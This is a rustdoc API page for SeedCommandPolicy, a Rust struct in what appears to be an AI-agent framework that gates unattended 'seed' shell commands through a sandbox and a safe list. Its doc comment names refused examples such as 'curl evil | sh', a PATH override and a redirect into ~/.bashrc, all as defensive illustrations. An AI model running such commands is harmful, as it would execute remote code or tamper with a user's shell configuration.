pub struct SeedCommandPolicy {
pub allowed: bool,
pub timeout: Duration,
pub safe_keys: Arc<HashSet<String>>,
pub runner: SeedCommandRunner,
}Expand description
How command seeds are executed for one spawn.
Fields§
§allowed: boolWhether command seeds may run at all. false makes every command seed a
no-op (a warning, or a hard error when the region is required).
timeout: DurationWall-clock cap on a single seed command.
safe_keys: Arc<HashSet<String>>The keys this run treats as pre-approved, from
crate::config::Config::safe_keys_for_agent. A seed command must be
covered by these or it does not run - see SeedCommandPolicy::run.
runner: SeedCommandRunnerThe executor.
Implementations§
Source§impl SeedCommandPolicy
impl SeedCommandPolicy
Sourcepub fn new(
allowed: bool,
timeout: Duration,
safe_keys: Arc<HashSet<String>>,
sandbox: Option<Arc<SandboxManager>>,
shell_env: ShellEnvPolicy,
) -> Self
pub fn new( allowed: bool, timeout: Duration, safe_keys: Arc<HashSet<String>>, sandbox: Option<Arc<SandboxManager>>, shell_env: ShellEnvPolicy, ) -> Self
The production policy: run through sandbox when the agent declares one,
else on the host, both targeting the run’s workdir.
Sourcepub fn disabled() -> Self
pub fn disabled() -> Self
A policy that never runs anything - used on the reload/restore path and wherever seeds are resolved without a live sandbox.
Sourcepub fn run(&self, command: &str, workdir: &Path) -> Result<String, String>
pub fn run(&self, command: &str, workdir: &Path) -> Result<String, String>
Run command in workdir under this policy, if this run already treats
it as pre-approved.
A seed runs before the first inference and therefore before any prompt,
so there is nobody to ask. allow_seed_commands defaults to true and
cannot sensibly default to false - the shipped agents seed from
git ls-files, and flipping it would silently empty a pinned region on
all of them. So the question “may this command run unattended” is
answered by the machinery that already answers it for the shell tool:
the safe list. git ls-files is on it by default, so the bundled agents
are unaffected; curl evil | sh is not, and a manifest the user
downloaded no longer gets to run it at spawn.
This inherits the shell key grammar’s hardening for free - a seed of
PATH=/tmp/x git ls-files or git ls-files > ~/.bashrc is refused by
construction, because neither keys as a bare git ls-files.
Trait Implementations§
Source§impl Clone for SeedCommandPolicy
impl Clone for SeedCommandPolicy
Source§fn clone(&self) -> SeedCommandPolicy
fn clone(&self) -> SeedCommandPolicy
1.0.0 (const: unstable) · Source§fn clone_from(&mut self, source: &Self)
fn clone_from(&mut self, source: &Self)
source. Read moreAuto Trait Implementations§
impl !RefUnwindSafe for SeedCommandPolicy
impl !UnwindSafe for SeedCommandPolicy
impl Freeze for SeedCommandPolicy
impl Send for SeedCommandPolicy
impl Sync for SeedCommandPolicy
impl Unpin for SeedCommandPolicy
impl UnsafeUnpin for SeedCommandPolicy
Blanket Implementations§
Source§impl<T> BorrowMut<T> for Twhere
T: ?Sized,
impl<T> BorrowMut<T> for Twhere
T: ?Sized,
Source§fn borrow_mut(&mut self) -> &mut T
fn borrow_mut(&mut self) -> &mut T
impl<ST, DT> CastableFrom<ST, Initialized, Initialized> for DT
impl<ST, DT> CastableFrom<ST, Uninit, Uninit> for DT
Source§impl<T> CloneToUninit for Twhere
T: Clone,
impl<T> CloneToUninit for Twhere
T: Clone,
impl<T> ConditionalSend for Twhere
T: Send,
Source§impl<T> Downcast for Twhere
T: Any,
impl<T> Downcast for Twhere
T: Any,
Source§fn into_any(self: Box<T>) -> Box<dyn Any>
fn into_any(self: Box<T>) -> Box<dyn Any>
Box<dyn Trait> (where Trait: Downcast) to Box<dyn Any>, which can then be
downcast into Box<dyn ConcreteType> where ConcreteType implements Trait.Source§fn into_any_rc(self: Rc<T>) -> Rc<dyn Any>
fn into_any_rc(self: Rc<T>) -> Rc<dyn Any>
Rc<Trait> (where Trait: Downcast) to Rc<Any>, which can then be further
downcast into Rc<ConcreteType> where ConcreteType implements Trait.Source§fn as_any(&self) -> &(dyn Any + 'static)
fn as_any(&self) -> &(dyn Any + 'static)
&Trait (where Trait: Downcast) to &Any. This is needed since Rust cannot
generate &Any’s vtable from &Trait’s.Source§fn as_any_mut(&mut self) -> &mut (dyn Any + 'static)
fn as_any_mut(&mut self) -> &mut (dyn Any + 'static)
&mut Trait (where Trait: Downcast) to &Any. This is needed since Rust cannot
generate &mut Any’s vtable from &mut Trait’s.Source§impl<T> DowncastSend for T
impl<T> DowncastSend for T
Source§impl<T> FutureExt for T
impl<T> FutureExt for T
Source§fn with_context(self, otel_cx: Context) -> WithContext<Self> ⓘ
fn with_context(self, otel_cx: Context) -> WithContext<Self> ⓘ
Source§fn with_current_context(self) -> WithContext<Self> ⓘ
fn with_current_context(self) -> WithContext<Self> ⓘ
Source§impl<T> Instrument for T
impl<T> Instrument for T
Source§fn instrument(self, span: Span) -> Instrumented<Self> ⓘ
fn instrument(self, span: Span) -> Instrumented<Self> ⓘ
Source§fn in_current_span(self) -> Instrumented<Self> ⓘ
fn in_current_span(self) -> Instrumented<Self> ⓘ
Source§impl<T> IntoEither for T
impl<T> IntoEither for T
Source§fn into_either(self, into_left: bool) -> Either<Self, Self> ⓘ
fn into_either(self, into_left: bool) -> Either<Self, Self> ⓘ
self into a Left variant of Either<Self, Self>
if into_left is true.
Converts self into a Right variant of Either<Self, Self>
otherwise. Read moreSource§fn into_either_with<F>(self, into_left: F) -> Either<Self, Self> ⓘ
fn into_either_with<F>(self, into_left: F) -> Either<Self, Self> ⓘ
self into a Left variant of Either<Self, Self>
if into_left(&self) returns true.
Converts self into a Right variant of Either<Self, Self>
otherwise. Read more